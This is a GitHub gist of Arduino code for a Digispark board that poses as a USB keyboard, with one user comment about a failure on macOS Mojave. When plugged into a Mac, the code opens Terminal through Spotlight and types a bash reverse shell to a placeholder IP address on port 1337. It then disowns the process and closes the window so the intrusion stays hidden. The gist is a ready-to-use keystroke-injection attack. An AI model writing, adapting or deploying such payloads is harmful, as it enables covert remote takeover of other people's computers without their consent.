Skip to content

Instantly share code, notes, and snippets.

@MattOates
Last active April 11, 2023 01:14
Show Gist options
  • Save MattOates/63ea5dc80bf676319ef5063195f7f58b to your computer and use it in GitHub Desktop.
Save MattOates/63ea5dc80bf676319ef5063195f7f58b to your computer and use it in GitHub Desktop.
#include "DigiKeyboard.h"
//Command key is ord 37 and as a modifier 0x00000008
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h
#define MOD_CMD_LEFT 0x00000008
boolean do_hack = true;
void setup() {
// don't need to set anything up to use DigiKeyboard
}
void loop() {
// this is generally not necessary but with some older systems it seems to
// prevent missing the first character after a delay:
DigiKeyboard.sendKeyStroke(0);
//cmd+space
if (do_hack) {
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CMD_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("terminal");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
//Ahead of time you want a machine at IPADDRESS listening on port 1337 `nc -l 1337`
DigiKeyboard.println("nohup bash -i >& /dev/tcp/IPADDRESS/1337 0>&1 &");
DigiKeyboard.delay(500);
DigiKeyboard.println("disown $!");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_CMD_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
do_hack = false;
}
// It's better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(10000);
}
@rleroi
Copy link

rleroi commented Jul 21, 2020

no such file or directory: /dev/tcp/192.168.178.111/1337
OS X Mojave

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment